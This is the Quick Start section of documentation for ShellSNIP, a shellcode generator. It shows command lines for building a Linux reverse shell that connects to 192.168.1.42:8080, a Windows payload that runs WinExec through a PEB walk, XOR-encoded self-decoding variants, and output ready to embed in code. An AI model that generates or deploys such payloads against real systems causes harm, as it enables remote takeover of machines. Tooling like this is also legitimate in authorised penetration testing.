Quick Start

Generate a Linux reverse shell

./generate.py --os posix -x64 -o revshell.raw connect 192.168.1.42 8080

This resolves the posix_64/connect recipe (pure syscalls: socket, connect, dup2, execve), compiles it with NASM, validates that the output contains no null bytes, and writes the compiled binary to revshell.raw.

Generate a Windows command execution payload

./generate.py --os win -x64 -o calc.raw exec calc.exe --show

This resolves the win_64/exec recipe, which uses a ROR13 hash-based PEB-walk resolver to locate WinExec without calling GetProcAddress.

Add encoding

./generate.py --os posix -x64 --enc xor -o revshell.raw connect 192.168.1.42 8080

Omitting --enc-key lets the xor encoder auto-select a key that guarantees a null-free output. The compiled result is a self-decoding payload: a NASM decoder stub followed by the encoded bytes.

Get a formatted, embeddable output

./generate.py --os posix -x64 -o revshell.raw --syntax python connect 192.168.1.42 8080

With --syntax set to anything other than raw, ShellSNIP prints the formatted representation (here, a Python bytes literal) to the console in addition to writing the binary file.

Save the intermediate NASM source

./generate.py --os posix -x64 -s revshell.asm -o revshell.raw connect 192.168.1.42 8080

-s/--source writes the fully-resolved NASM source (after snippet resolution and helper evaluation) — useful for inspecting or manually tweaking the generated assembly before compilation.

Next, see the Recipes guide for the full parameter reference of exec, dlexec, connect, and inject.